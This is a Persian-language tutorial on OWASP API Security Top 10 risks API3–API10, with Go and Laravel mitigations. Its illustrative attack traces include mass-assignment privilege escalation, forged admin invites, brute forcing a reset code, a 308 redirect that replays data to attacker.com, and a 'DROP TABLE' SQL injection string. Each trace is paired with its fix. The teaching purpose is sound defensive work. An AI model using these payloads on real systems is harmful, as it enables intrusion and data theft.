تعریف: مجوز در سطح ویژگی (Property-level authorization) چنین توضیح داده شده: "When allowing a user to access an object using an API endpoint, it is important to validate that the user has access to the specific object properties they are trying to access." endpoint آسیب‌پذیر است اگر "exposes properties of an object that are considered sensitive and should not be read by the user. (previously named: "Excessive Data Exposure")" یا "allows a user to change, add/or delete the value of a sensitive object's property which the user should not be able to access (previously named: "Mass Assignment")". cheat sheet مربوط به Mass Assignment نام‌های فریم‌ورکی را می‌دهد: "Mass Assignment: Ruby on Rails, NodeJS"، "Autobinding: Spring MVC, ASP NET MVC"، "Object injection: PHP". ارجاع‌ها CWE-213 Exposure of Sensitive Information Due to Incompatible Policies و CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes هستند. CWE-1321 یا prototype pollution هم‌خانوادهٔ JavaScriptی CWE-915 است؛ مرتبط است ولی در صفحهٔ OWASP نیامده.

     Read side (excessive data exposure)                     Write side (mass assignment)
 1   GET /api/users/313  (Ana looks at Sam)                  PATCH /api/me {"name":"Sam"}            normal
 2   -> {"id":313,"name":"Sam","password_hash":"$argon2id..",  PATCH /api/me {"name":"Sam","role":"admin","blocked":false}
        "mfa_secret":"JBSW..","recent_location":"52.37,4.89"} -> 200, role=admin, blocked=false   escalation + unblock
 3   app shows "Sam" only; the proxy shows everything         host replays approve_booking + "total_stay_price":"$1,000,000"
     fix: response DTO = allow-list of properties             fix: input DTO / $fillable / prohibited rules
 4   -> {"id":313,"name":"Sam"}                               -> 422 role prohibited (or 400 unknown field)

سناریوهای واقعی؛ سه مورد نخست از OWASP: mutationِ reportUser در برنامهٔ آشنایی، fullName و recentLocation کاربر گزارش‌شده را برمی‌گرداند؛ میزبان بازار اجاره، "total_stay_price": "$1,000,000" را به تأیید رزرو اضافه می‌کند؛ کاربر پلتفرم ویدئو با "blocked": false در تغییر توضیح، ویدئوی مسدودشدهٔ خودش را آزاد می‌کند. نمونه‌های دیگر: فهرست autocomplete با ایمیل، تلفن و آخرین ورود؛ پاسخ orders شامل internal_margin و fraud_score؛ درخواست PUT /me پذیرندهٔ email_verified_at، tenant_id یا balance؛ introspection در GraphQL و schema سهل‌گیر که درخواست هر فیلدی را مجاز می‌کند.

سمتابزار نادرستابزار درست در Goابزار درست در Laravel 13
خواندنjson.Marshal(user)، $user->toArray()، "to_json() and to_string()" از OWASPstructِ DTO پاسخ برای هر مخاطب (PublicUser، SelfUser)JsonResource (UserResource) با when()؛ #[Hidden] لایهٔ پشتیبان
نوشتنjson.Decode(&user)، $model->update($request->all())، #[Unguarded] / $guarded = []DTO ورودی، DisallowUnknownFields و کپی صریحقواعد Form Request و validated() / safe()->only()، #[Fillable]؛ در 12.x و قدیمی‌تر protected $fillable
هر دوفهرست ممنوع مانند $guarded = ['role'] یا فقط json:"-"فهرست مجاز ویژگی‌هافهرست مجاز؛ OWASP: "Do not rely on a block-list as the sole protection"
لایهٔ اضافهاعتماد به فیلتر کلاینتاعتبارسنجی پاسخ با schema در CI و تستassertExactJson در feature test

فهرست پیشگیری OWASP دقیقاً به این کنترل‌ها نگاشت می‌شود: "cherry-pick specific object properties you specifically want to return"؛ "avoid using functions that automatically bind a client's input into code variables, internal objects, or object properties"؛ "Allow changes only to the object's properties that should be updated by the client"؛ "Implement a schema-based response validation mechanism as an extra layer of security"؛ و "Keep returned data structures to the bare minimum". جملهٔ کلیدی cheat sheet: "DTOs and field allowlists restrict writable properties; they do not replace authorization for the requested object and operation"؛ API3 جای API1 نیست.

$fillable در برابر $guarded: در Laravel 12 و کد قدیمی‌تر، فهرست مجاز protected $fillable = ['name', 'email']; و فهرست ممنوع protected $guarded = ['role']; است؛ $guarded = [] همه‌چیز را آزاد می‌کند. Laravel 13 همین سازوکار را با attributeهای کلاس #[Fillable([...])]، #[Guarded([...])] و #[Unguarded] مستند می‌کند و می‌گوید "all Eloquent models are protected against mass assignment vulnerabilities by default." انتخاب بهتر $fillable/#[Fillable] است؛ $guarded با افزوده‌شدن ستون به حالت باز شکست می‌خورد.

API4 Unrestricted Resource Consumption مهم ​

به زبان ساده: یک درخواست را می‌توان بسیار گران کرد: صفحهٔ ده‌میلیون‌ردیفی، هزار mutation در یک batch، دانلود ۱۸ GB یا ده‌هزار SMS به هزینهٔ شما.

بدفهمی رایج: «محدودیت نرخ داریم، پس پوشش داریم.» سقف تعداد درخواست سقف کار هر درخواست نیست. سناریوی GraphQL در OWASP با ۹۹۹ mutationِ uploadPic در یک درخواست، "traditional rate limiting" را دور می‌زند.

تعریف و توضیح ویژهٔ این صفحه: API آسیب‌پذیر است "if at least one of the following limits is missing or set inappropriately": timeout اجرا، حداکثر حافظهٔ تخصیص‌پذیر، file descriptor، فرایند، اندازهٔ آپلود، "Number of operations to perform in a single API client request (e.g. GraphQL batching)"، "Number of records per page" و "Third-party service providers' spending limit". اصلاح در Go resource و Laravel OrderController::index سقف هر درخواست است: اندازهٔ صفحه حداکثر ۱۰۰، بدنه ≤ ۳۲ KiB، batch ≤ ۲۵ عملیات. بخش هزینه نیز الزام دارد: "Configure spending limits for all service providers/API integrations. When setting spending limits is not possible, billing alerts should be configured instead." محدودسازی هر عملیات مانند "validate an OTP, or request password recovery" به‌ازای کاربر و منبع انجام می‌شود. الگوریتم‌های token bucket، sliding window و محدودیت توزیع‌شده در محدودیت نرخ هستند. ارجاع‌ها: CWE-770، CWE-400، CWE-799.

API5 Broken Function Level Authorization (BFLA): مسیر مدیریتی و دست‌کاری متد حیاتی ​

به زبان ساده: کارت مهمان راهروی کارکنان را باز می‌کند، چون کسی قفل راهرو را تنظیم نکرده؛ مهمان فقط باید پیدایش کند. در API این راهرو /api/admin/...، POST /api/invites/new یا صرفاً DELETE روی URLای است که فقط GET آن مجاز بوده.

بدفهمی رایج: «مسیرهای مدیر زیر /admin هستند و gateway از /admin/* محافظت می‌کند.» OWASP: "Don't assume that an API endpoint is regular or administrative only based on the URL path" و "it's very common to find these administrative endpoints under other relative paths together with regular endpoints, like /api/users." باور دیگر: «فقط کنسول مدیر آن را صدا می‌زند.» بستهٔ JavaScript و باینری موبایل همهٔ URLها را فهرست می‌کنند.

تعریف: BFLA نبود یا نادرستی بررسی تابع‌های مجاز فراخواننده است، در برابر اشیای مجاز در API1. پرسش‌های OWASP: "Can a regular user access administrative endpoints?"؛ آیا کاربر "by simply changing the HTTP method (e.g. from GET to DELETE)?" کاری می‌کند؛ آیا گروه X به تابع گروه Y "by simply guessing the endpoint URL and parameters (e.g. /api/v1/users/export_all)?" می‌رسد؟ ارجاع: CWE-285 Improper Authorization.

     Mallory (role=user)                                     API (authenticated, no function check)
 1   GET  /api/invites/{guid}                                -> 200 {"email":..., "role":"user"}      allowed
 2   POST /api/invites/new {"email":"m@evil","role":"admin"} -> 201                                  BFLA: admin function
 3   (accepts own invite, logs in as admin)
 4   GET  /api/admin/v1/users/all                            -> 200 every user                        BFLA: guessed URL
 5   DELETE /api/users/2                                     -> 204                                   BFLA: method change
     fix: route table where each route names roles; deny by default; 403 + authz_fail
 6   POST /api/invites/new                                   -> 403   GET /api/admin/v1/users/all -> 403

سناریوهای واقعی: جریان دعوت OWASP که کاربر دعوت مدیر می‌سازد؛ حدس GET /api/admin/v1/users/all؛ endpoint خروجی CSV موبایل که برای ابزار داخلی منتشر شده؛ مسیر PUT /api/users/{id}/role که generator کنار PUT /api/users/{id} خود کاربر ثبت کرده؛ impersonation پشتیبانی که فقط لینک ندارد؛ feature flag پنهان‌کنندهٔ دکمه بدون بستن مسیر؛ schema در GraphQL که deleteUser را به هر کلاینت احراز‌شده می‌دهد.

الگوچرا شکست می‌خورداصلاح
بررسی فقط در UIAPI مستقیم صدا زده می‌شودبررسی تابع در سرور
قاعدهٔ پیشوند مسیر در gateway (/admin/*)تابع مدیریتی جای دیگر هم هستPolicy هر مسیر داخل سرویس
handler مشترک GET و DELETE با بررسی یک شاخهمتد دیگر بی‌بررسی استمتد در الگوی مسیر (DELETE /api/users/{id})؛ policy برای هر متد
بررسی اختیاری؛ «هرجا لازم بود ->middleware('can:...') اضافه کن»همان مسیر فراموش‌شده راه نفوذ استرد پیش‌فرض؛ router مسیر بی‌policy نمی‌پذیرد
نقش از توکن بدون بررسی دوبارهٔ وضعیت سرورمدیر عزل‌شده تا انقضا مدیر می‌ماندتوکن کوتاه‌عمر؛ جست‌وجوی نقش در سرور برای تابع مدیریتی

پیشگیری OWASP: سازوکار اعمال مجوز "should deny all access by default, requiring explicit grants to specific roles for access to every function"؛ "all of your administrative controllers inherit from an administrative abstract controller that implements authorization checks"؛ تابع مدیریتی داخل controller عادی هم نقش را بررسی کند. در Go این همان جدول مسیر bfla.NewMux است. در Laravel گروه مسیر can:admin همراه #[Middleware('can:admin')] روی controller باعث می‌شود بررسی همراه کلاس جابه‌جا شود.

API6 Unrestricted Access to Sensitive Business Flows: سوءاستفادهٔ ربات و منطق کسب‌وکار حیاتی ​

به زبان ساده: همهٔ درخواست‌ها معتبر، احراز‌شده و درست پردازش می‌شوند، ولی کسب‌وکار ضرر می‌کند: اسکریپت کل موجودی را می‌خرد، همهٔ میزها را رزرو می‌کند یا همهٔ پاداش‌های دعوت را جمع می‌کند. فقط فرض «انسان دارد کلیک می‌کند» شکسته است.

بدفهمی رایج: «این مشکل تیم تقلب است، نه آسیب‌پذیری API.» OWASP آن را خطر API می‌داند، چون API جریان را عرضه می‌کند بی‌آنکه جلوی آسیب ناشی از استفادهٔ خودکار و افراطی را بگیرد. متن OWASP این وضعیت را چنین توصیف می‌کند: "without compensating for how the functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from implementation bugs." باور دوم این است که سقف IP کافی است؛ اما ربات سناریوی کنسول از IPها و مکان‌های مختلف درخواست می‌فرستد: "distributed across different IP addresses and locations".

تعریف: "An API Endpoint is vulnerable if it exposes a sensitive business flow, without appropriately restricting the access to it." مثال‌ها: خرید، یعنی "buy all the stock of a high-demand item at once and resell for a higher price (scalping)"؛ ایجاد نظر و پست برای spam؛ رزرو، یعنی "reserve all the available time slots". خطر به زمینه وابسته است: "creation of posts by a script might be considered as a risk of spam by one social network, but encouraged by another". صفحه CWE ندارد؛ کاتالوگ مرتبط OWASP Automated Threats to Web Applications یا OAT شامل OAT-005 Scalping با "limited availability of sought-after or exclusive goods or services" و OAT-013 Sniping، گونهٔ "last minute" آن است.

     Bot (one operator, 300 accounts, residential proxies)      Shop API
 1   09:00:00.000  POST /cart {"sku":"console-x"}    x300         -> 201                      valid
 2   09:00:00.180  POST /checkout {"sku":"console-x"} x300        -> 204 x100, 409 sold out    every unit gone in 180 ms
 3   09:00:05      humans click "Buy"                              -> 409 sold out
 4   09:10         listings appear on a resale site at 3x
     fix: per user 2, per device 2, per SKU 300/min, cart->checkout >= 1 s, device id required, challenge on doubt
 5   09:00:00.180  checkout x300                                   -> 428 challenge (too fast), 429 (device cap)

سناریوهای واقعی؛ سه مورد نخست از OWASP: خرید احتکاری کنسول در روز عرضه؛ شرکت هواپیمایی با لغو رایگان که یک کاربر ۹۰٪ پرواز را رزرو می‌کند، چند روز مانده لغو می‌کند و صندلی تخفیف‌خورده می‌خرد؛ برنامهٔ دعوت تاکسی اینترنتی با ثبت‌نام اسکریپتی. نمونه‌های دیگر: عرضهٔ بلیت، احتکار وقت رستوران یا درمانگاه، بررسی موجودی gift card یا card cracking، سوءاستفاده از کوپن و دورهٔ رایگان، انبوه‌سازی رأی و review و محروم‌کردن دیگران از موجودی با نگه‌داشتن سبد.

لایهسازوکارقوتهزینه
کسب‌وکارنام‌گذاری جریان حساس و استفادهٔ مجاز هر فرد؛ «2 عدد برای هر مشتری در هر عرضه»ترس مبهم به قاعدهٔ آزمون‌پذیر تبدیل می‌شودتصمیم محصول با مالک مشخص
هویتسقف کاربر و منبع؛ هر حساب برای هر SKU و کل هر SKUمهار یک حساب و حفاظت منبع کمیابمزرعهٔ حساب سقف کاربر را دور می‌زند
دستگاهاثرانگشت دستگاه (Device fingerprinting): "denying service to unexpected client devices (e.g headless browsers)"افزایش هزینهٔ مهاجمحریم خصوصی؛ جعل‌پذیر
تشخیص انسانCAPTCHA، "advanced biometric solutions (e.g. typing patterns)"قوی علیه ربات ارزاناصطکاک UX؛ مزرعهٔ حل challenge
رفتار"Non-human patterns" مانند سبد تا خرید "in less than one second"ارزان و سمت سرورنیاز به timestamp سرور
شبکه"Consider blocking IP addresses of Tor exit nodes and well-known proxies"حذف ارزان‌ترین ترافیکproxy مسکونی باقی می‌ماند
API ماشینی"Secure and limit access to APIs that are consumed directly by machines (such as developer and B2B APIs)"بستن در جانبیاصطکاک شریک
طراحیصف یا قرعه‌کشی عرضه؛ بیعانهٔ رزرو؛ هزینهٔ لغوحذف انگیزهتغییر کسب‌وکار

اصلاح / روش استفاده: flows.Guard در Go و CheckoutController همراه limiterِ throttle:checkout در Laravel لایه‌های هویت، دستگاه و رفتار را اجرا می‌کنند. نمونهٔ آسیب‌پذیر عمداً کد درست و بدون race است که قاعدهٔ کسب‌وکار ندارد. خود سقف‌ها هم باید بدون race باشند: «خرید کاربر را بشمار، بعد insert کن» اجازه می‌دهد دو درخواست هم‌زمان هر دو ۱ ببینند و هر دو بخرند. SELECT عادی قفل (Lock) نمی‌گیرد و PostgreSQL دستور SELECT count(*) ... FOR UPDATE را نمی‌پذیرد. پس controller یک ردیف شمارنده برای (SKU، کاربر) و (SKU، دستگاه) نگه می‌دارد و با یک UPDATE ... SET count = count + 1 WHERE count < cap شرطی واحد می‌گیرد. صفر ردیف تغییرکرده یعنی سقف پر شده و تراکنش (Transaction) پیرامونی هرچه قبلاً گرفته شده را rollback می‌کند. برای شمارندهٔ مشترک بین نمونه‌ها در Redis، محدودیت نرخ را ببینید.

API7 Server Side Request Forgery تکمیلی ​

به زبان ساده: API برایتان URL واکشی می‌کند، مثلاً تصویر پروفایل یا تست webhook؛ شما آدرسی در شبکهٔ کارکنان هتل به آن می‌دهید.

بدفهمی رایج: «فهرست مجاز hostname کافی است.» DNS rebinding و redirect بررسی نام را دور می‌زنند؛ بررسی IP باید هنگام اتصال socket باشد.

تعریف و توضیح ویژهٔ این صفحه: "Server-Side Request Forgery (SSRF) flaws occur when an API is fetching a remote resource without validating the user-supplied URL." از نگاه OWASP، API آن را "More common" می‌کند؛ با webhook، واکشی فایل از URL، SSO سفارشی و پیش‌نمایش URL. همچنین "More dangerous" است؛ کانال‌های مدیریت ابر، Kubernetes و Docker "over HTTP on predictable, well-known paths" در دسترس‌اند. "The SSRF risk can not always be completely eliminated." سناریوها: {"picture_url": "localhost:8080"} برای اسکن port با زمان پاسخ، و «ارسال درخواست آزمایشی» webhook که پاسخ URL داخلی را برمی‌گرداند. پیشگیری: "Isolate the resource fetching mechanism in your network"، فهرست مجاز origin راه‌دور، "URL schemes and ports" و media type. نمونهٔ Go ssrf.Check و Laravel RemoteImageFetcher پشت POST /me/avatar/import فهرست مجاز سطح URL را نشان می‌دهند: https، port ۴۴۳، بدون userinfo و IP literal، میزبان مجاز و بدون redirect. بررسی IP هنگام اتصال با net.Dialer.Control، metadata ابر با IMDSv2 و طراحی egress در OWASP Top 10: SSRF هستند. ارجاع: CWE-918.

API8 Security Misconfiguration تکمیلی ​

به زبان ساده: هتل در ضدحریق را باز نگه داشته و فهرست کلید مادر را روی میز پذیرش گذاشته: پیش‌فرض‌ها، خروجی debug، CORS باز و HTTP ساده داخل شبکه.

بدفهمی رایج: «API داخلی TLS لازم ندارد.» OWASP همهٔ ارتباطات "from the client to the API server and any downstream/upstream components" را روی TLS می‌خواهد، "regardless of whether it is an internal or public-facing API."

تعریف و توضیح ویژهٔ این صفحه: API8 نبود سخت‌سازی "across any part of the API stack"، patchهای نصب‌نشده، "Unnecessary features are enabled (e.g. HTTP verbs, logging features)"، پردازش ناسازگار درخواست "in the HTTP server chain" یا request smuggling، نبود TLS و cache-control، "Cross-Origin Resource Sharing (CORS) policy is missing or improperly set" و "Error messages include stack traces" را فهرست می‌کند. اصلاح ویژهٔ API در بستهٔ Go misconfig و Laravel config/cors.php همراه closure رندر در bootstrap/app.php: فهرست دقیق origin مجاز CORS با Vary: Origin در Go، بدنهٔ خطای RFC 9457 با نوع application/problem+json و فقط شناسهٔ هم‌بستگی، الگوی مسیر همراه متد تا بقیه ۴۰۵ بگیرند، و "define and enforce all API response payload schemas, including error responses". هدرها، APP_DEBUG، XXE و سخت‌سازی در OWASP Top 10: A05 و چک‌لیست سخت‌سازی امنیت API هستند. ارجاع‌ها: CWE-2، CWE-16، CWE-209، CWE-319، CWE-388، CWE-444، CWE-942.

API9 Improper Inventory Management: فهرست APIها، Shadow API و Zombie API حیاتی ​

به زبان ساده: دری را که از وجودش خبر ندارید نمی‌توانید قفل کنید. میزبان beta، /v1 فراموش‌شده، مسیر debug یا endpoint شریکی که بیش از حد داده می‌دهد، همگی ورودی بیرون از مرور امنیتی‌اند.

بدفهمی رایج: «gateway محدودیت نرخ دارد، پس همهٔ APIها دارند.» در سناریوی اول OWASP، limiter در "in a separate component between the client and the official API (api.socialnetwork.owasp.org)" بود. میزبان "beta.api.socialnetwork.owasp.org" همان API را بدون آن اجرا می‌کرد؛ پژوهشگر "the 6 digit token" را brute force کرد و گذرواژهٔ هرکس را reset کرد. باور دوم، inventory به‌معنای فقط فهرست URL است. فهرست OWASP میزبان، محیط، مخاطب، نسخه و جریان داده به شخص ثالث را پوشش می‌دهد.

تعریف: OWASP دو نقطهٔ کور را نام می‌برد. "documentation blindspot": هدف میزبان روشن نیست؛ کدام محیط، چه کسی مجوز شبکه دارد و "Which API version is running?"؛ مستندات غایب یا کهنه‌اند؛ "There is no retirement plan for each API version" یا "The host's inventory is missing or outdated". "data flow blindspot": جریان "sensitive data flow" به شخص ثالث بدون "a business justification or approval"، بدون "inventory or visibility of the flow" یا بدون دانستن "which type of sensitive data is shared". NIST SP 800-228 دو نتیجهٔ کلاسیک را نام می‌برد: Shadow API، مستندنشده و بیرون مرور؛ Zombie API، جایگزین‌شده ولی حذف‌نشده. صفحهٔ OWASP به "CWE-1059: Incomplete Documentation" ارجاع می‌دهد؛ عنوان فعلی MITRE برای CWE-1059، Insufficient Technical Documentation است.

     Researcher                                                   Estate
 1   dig api.socialnetwork.example / certificate transparency     -> api., beta.api., v1.api., staging-api.
 2   POST api./reset {"code":"000000".."999999"}                  -> 429 after 5 tries (gateway limiter)
 3   POST beta.api./reset {"code":"000000".."999999"}             -> no limiter; code found in minutes
 4   GET  v1.api./users/me                                        -> old response shape with mfa_secret (zombie)
     fix: inventory every host+version+owner; same protection on every exposed version; sunset v1; delete beta
 5   GET  v1.api./users/me (after sunset)                         -> 410 Gone, Deprecation/Sunset headers before that

سناریوهای واقعی: میزبان beta بدون limiter در OWASP؛ سناریوی دوم آن، شبکهٔ اجتماعی با جریان داده به برنامه‌های ثالث که دادهٔ دوستان را هم افشا می‌کرد، به‌طوری‌که "consent of 270,000 users" به "the private information of 50,000,000 users" رسید؛ /v1 باقی‌مانده برای یک کلاینت قدیمی موبایل که هنوز password_reset_token می‌دهد؛ Service با type: LoadBalancer در Kubernetes برای demo؛ GraphQL با introspection روشن در production؛ endpoint مخصوص شریک که روی gateway عمومی هم هست.

فیلد inventoryدلیلمحل نگه‌داری
میزبان و محیط"production, staging, test, development"کاتالوگ سرویس، DNS و tagهای ابر
مخاطب"public, internal, partners"x-audience در OpenAPI، پیکربندی مسیر gateway
نسخه و چرخهٔ عمرتاریخ deprecation و sunset و جانشینdeprecated: true و x-sunset در OpenAPI؛ هدرهای Deprecation/Sunset
مالکمسئول پاسخ‌گویی رخدادx-owner و کاتالوگ سرویس
عملیاتهر مسیر، متد، پارامتر، درخواست و پاسخسند OpenAPI تولیدشده در CI
احراز هویت، خطا، سقف و CORSOWASP: "authentication, errors, redirects, rate limiting, cross-origin resource sharing (CORS) policy"securitySchemes در OpenAPI و policyِ gateway
سرویس یکپارچه و جریان داده"their role in the system, what data is exchanged (data flow), and their sensitivity"دفتر جریان داده و سوابق DPA
واقعیت زمان اجراNIST: "service instances, instance IP addresses, runtime service ID, traffic volume"telemetryِ gateway و mesh

OpenAPI به‌عنوان inventory: درخواست OWASP این است: "Generate documentation automatically by adopting open standards. Include the documentation build in your CI/CD pipeline." در OpenAPI 3.1، Operation Object فیلد deprecated دارد که "Declares this operation to be deprecated. Consumers SHOULD refrain from usage of the declared operation." سند OpenAPI را مرجع حقیقت کنید و اختلاف کد و سند را شکست build قرار دهید. در Go، inventory.Mount مسیر سایه را نمی‌پذیرد؛ در Laravel، CI خروجی php artisan route:list --json را با spec مقایسه می‌کند.

نسخه‌بندی و کنارگذاری: با Deprecation: @<unix-time> طبق RFC 9745 اعلام کنید که منبع "will be or has been deprecated"؛ Sunset: <HTTP-date> طبق RFC 8594 می‌گوید URI "is likely to become unresponsive at a specified point in the future". به جانشین لینک بدهید. هر اصلاح امنیتی تازه را روی همهٔ نسخه‌های در دسترس اعمال کنید یا نسخهٔ قدیمی را بازنشسته کنید: "perform a risk analysis to inform the mitigation actions required for the older versions". پس از sunset پاسخ ۴۱۰ Gone بدهید و سپس مسیر و میزبان را حذف کنید. راهبرد URI در برابر header و سازگاری در نسخه‌بندی API است. دو توصیهٔ دیگر OWASP: "Avoid using production data with non-production API deployments" و "Make API documentation available only to those authorized to use the API."

openapi.yaml(owner, audience, version,deprecated, x-sunset)route list in the buildroute:list --jsonmux patternsCI diffin code, not in spec → shadowin spec, not in code → missingCurrentv2Deprecatedv1: Deprecation +Sunset headersSunset passed410 GoneRemovedroute + host gonereleaseannouncesunset dateclean-upShadow API: running, never inventoried(beta host, debug route, partner-only endpoint)Zombie API: retired on paper, still deployed(old version without the new rate limit)The inventory covers hosts, versions, environments, owners and third-party data flows, not only paths.

API10 Unsafe Consumption of APIs: اعتماد به API شخص ثالث حیاتی ​

به زبان ساده: کیف هر مهمان را دم در بررسی می‌کنید، ولی کیسهٔ شرکت رخت‌شویی را باز نمی‌کنید. دادهٔ API شریک، ورودی غریبه‌ای است که اتفاقاً با او قرارداد دارید.

بدفهمی رایج: «ارائه‌دهنده مشهور است، پس داده تمیز است.» OWASP: "Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies." ارائه‌دهنده ممکن است هک شود، باگ داشته باشد یا فقط دادهٔ تایپ‌شدهٔ کاربران خودش را ذخیره کند؛ همین مسیر ورود payloadِ SQL از سرویس غنی‌سازی آدرس است.

تعریف: API "might be vulnerable if" شرایط زیر را داشته باشد: "Interacts with other APIs over an unencrypted channel"؛ "Does not properly validate and sanitize data gathered from other APIs prior to processing it or passing it to downstream components"؛ "Blindly follows redirections"؛ "Does not limit the number of resources available to process third-party services responses"؛ "Does not implement timeouts for interactions with third-party services". ارجاع‌ها: CWE-20 Improper Input Validation، CWE-200 Exposure of Sensitive Information to an Unauthorized Actor و CWE-319 Cleartext Transmission of Sensitive Information.

     Your API                                       Partner (compromised)                 attacker.com
 1   POST https://partner/store_phr_record          
     {"genome":"ACTAGTAG..."}               ->      308 Permanent Redirect
                                                    Location: https://attacker.com/
 2   client follows 308, re-sends the body  ------------------------------------------>  receives the genome
 3   GET https://geo-partner/lookup?q=...   ->      {"name":"x'); DROP TABLE businesses;--"}
 4   INSERT ... VALUES ('x'); DROP TABLE businesses;--')                                  SQL injection via partner
     fix: TLS + host allow-list, redirects off, timeouts, body cap, validate fields, bind parameters
 5   308 -> ErrRedirect (nothing sent on);  payload -> bound as $1 (stored as text) or rejected by validation

سناریوهای واقعی؛ سه مورد نخست از OWASP: سرویس غنی‌سازی آدرس که payloadِ SQLi را در پایگاه دادهٔ شما اجرا می‌کند؛ شریک دادهٔ پزشکی که پس از نفوذ با 308 پاسخ می‌دهد تا کلاینت دادهٔ حساس را به مهاجم بازپخش کند؛ repo git با نام '; drop db;-- که integration در SQL می‌گذارد. نمونه‌های دیگر: بدنهٔ webhook پرداخت بدون بررسی امضا؛ کلیدهای API، امضای درخواست و webhook؛ پاسخ HTML از LLM یا جست‌وجو که بدون escape رندر می‌شود؛ شریک با بدنهٔ ۲ GB یا اتصال هرگز بسته‌نشده؛ API حمل‌ونقل با tracking_url که بعداً واکشی می‌کنید و به SSRF از مسیر شریک تبدیل می‌شود.

بررسیGoLaravel 13دلیل
فقط TLS و فهرست مجاز میزبانcheckEndpoint برای گام اول و CheckRedirect برای بعدی‌هاHttp::baseUrl('https://...')"Ensure all API interactions happen over a secure communication channel (TLS)"
فهرست مجاز redirectCheckRedirect بیرون فهرست خطا می‌دهدwithOptions(['allow_redirects' => false])، Http::globalOptions"do not blindly follow redirects"
timeouthttp.Client.Timeout و context درخواستconnectTimeout(2)، timeout(5)پیش‌فرض Laravel برابر 30 s؛ Timeout صفر Go یعنی نامحدود
سقف اندازه پیش از bufferingio.LimitReader(body, max+1)withOptions(['stream' => true])، رد Content-Length بزرگ، خواندن $response->resource() تا سقف با BoundedBodyاتمام حافظه؛ بررسی پس از $response->body() دیر است
وضعیت و نوع200 و application/jsonstatus()، header('Content-Type')جلوگیری از تفسیر صفحهٔ خطا به‌عنوان داده
اعتبارسنجی فیلدBusiness.Validate() با regex و طولValidator::make($response->json(), [...])"Always validate and properly sanitize data received from integrated APIs"
استفاده به‌عنوان دادهپارامتر bindشده ($1)DB::insert('... ?', [...])جلوگیری از injection
وضعیت امنیتی ارائه‌دهندهکاربرد نداردکاربرد ندارد"When evaluating service providers, assess their API security posture"
Your API(enrichment client)Partner APIgeo-partner.exampleattacker.example(after partner compromise)Outbound: https only · host allow-listconnect 2 s / total 5 s timeoutredirects off (or allow-listed hosts only)Inbound: status 200 + application/jsonbody ≤ 64 KiB (LimitReader / strlen)validate every field like user inputINSERT … VALUES ($1, $2, $3)Attacks the checks stop:308 Location: attacker → body replayedname = x'); DROP TABLE …;--18 GB "address" → memory exhaustion308Treat the partner as another client: it can be breached, buggy or malicious; its data has your users' trust attached.

Middleware مجوز و Policy object: جای هر بررسی حیاتی ​

به زبان ساده: سه پرسش، سه جا. «فراخواننده وارد شده؟» در میان‌افزار (Middleware). «می‌تواند این تابع را اجرا کند؟» روی مسیر. «می‌تواند به این شیء و فیلد دست بزند؟» به خود شیء نیاز دارد؛ پس در شیء سیاست (Policy object) است که handler صدا می‌زند و Query محدودشده پشتوانه‌اش است.

بدفهمی رایج: «همهٔ مجوز را در یک middleware بگذار.» Middleware پیش از بارگذاری شیء اجرا می‌شود؛ نقش و scope را در API5 می‌سنجد، اما مالکیت API1 و فیلدهای API3 را نه. اشتباه معکوس، پخش‌کردن if ($order->user_id !== $user->id) در controllerهاست؛ همیشه یک نسخه جا می‌افتد. توصیهٔ API5، "a consistent and easy-to-analyze authorization module that is invoked from all your business functions" است. cheat sheet مجوز بررسی را "on every request, regardless of whether the request was initiated by an AJAX script, server-side, or any other source" می‌خواهد، با فناوری دارای "global, application-wide configuration rather than needing to be applied individually to every method or class".

تعریف: Middleware مجوز، فیلتر درخواست پیش از handler است: احراز هویت، نقش، scopeِ OAuth و سازگاری هدر tenant. Policy object کلاس یا تابعی با یک متد برای هر عمل (view، update، delete) است که فراخواننده و شیء را می‌گیرد و اجازه یا رد می‌دهد. Laravel Policies و Gate شکل فریم‌ورکی، CanView(user, order) bool شکل Go، و OPA/Cedar/OpenFGA شکل بیرونی آن‌اند؛ مدل‌های مجوز. دامنهٔ Query یا Query scope نیمهٔ پایگاه داده است: شیء بیرون tenant فراخواننده اصلاً بارگذاری نمی‌شود.

 1  request  -> auth middleware          (401 if no valid principal; principal into context)
 2           -> route policy             (403 if role/scope missing: API5)
 3           -> handler loads object     (scoped by tenant: foreign tenant = not found)
 4           -> policy.view(user, obj)   (404/403 if not owner/allowed: API1)
 5           -> input DTO / Form Request (422/400 for prohibited or unknown properties: API3)
 6           -> response DTO             (only allow-listed properties leave: API3)
 7  any deny -> authz_fail event        (logged with user, action, resource, object id)
دغدغهMiddlewarePolicy مسیرPolicy objectQuery scopeDTO
احراز هویت شده؟بله
نقش / scope تابع در API5ممکن استبله
مالکیت / tenant شیء در API1نهنهبلهبله
ویژگی خواندنی یا نوشتنی در API3نهنهبخشی با whenبله
سقف جریان کسب‌وکار در API6limiterlimiterقاعدهٔ جریانشمارنده‌ها
آزمون مستقلبلهبلهبله؛ تست واحد (Unit test)بله؛ SQLبله

مجوز handler در Go: Go لایهٔ policy فریم‌ورکی ندارد. روش معمول این است: principal.Middleware هویت فراخواننده را در context.Context می‌گذارد؛ جدول مسیر bfla.NewMux برای هر handler یک policy مشخص می‌کند و اجرای handler را به آن مشروط می‌کند؛ داخل handler هم تابعی مثل bola.CanView مجوز شیء را بررسی می‌کند. بررسی مالکیت از context یعنی principal را از r.Context() بخوان، با شناسه بارگذاری کن، policy را صدا بزن و هنگام رد ۴۰۴ بده. شناسهٔ مسیر فقط کلید جست‌وجو است. ترکیب middleware در Middlewareها و اعتبارسنجی توکن در احراز هویت در Go است.

Laravel: auth:sanctum برای احراز هویت؛ middleware مسیر can:admin / ->can('update', 'post') یا attributeهای controller در Laravel 13 با #[Middleware] و #[Authorize] برای سطح تابع؛ Gate::authorize('view', $order) در action با Policy کشف‌شده از نام‌گذاری برای سطح شیء؛ authorize() و rules() در Form Request برای ورودی؛ JsonResource برای خروجی. Gate::before می‌تواند همه‌چیز را به super-admin بدهد؛ محدود استفاده کنید چون قواعد شیء را هم دور می‌زند.

ثبت و هشدار شکست‌های مجوز مهم ​

به زبان ساده: کاوش BOLA شبیه جهش ۴۰۴ و ۴۰۳ از حسابی است که شناسه‌ها را می‌پیماید. رد شدن‌ها (Denials) را به‌عنوان رخداد امنیتی ثبت کنید و برای نرخ آن‌ها هشدار بگذارید تا حمله را در مرحلهٔ کاوش ببینید.

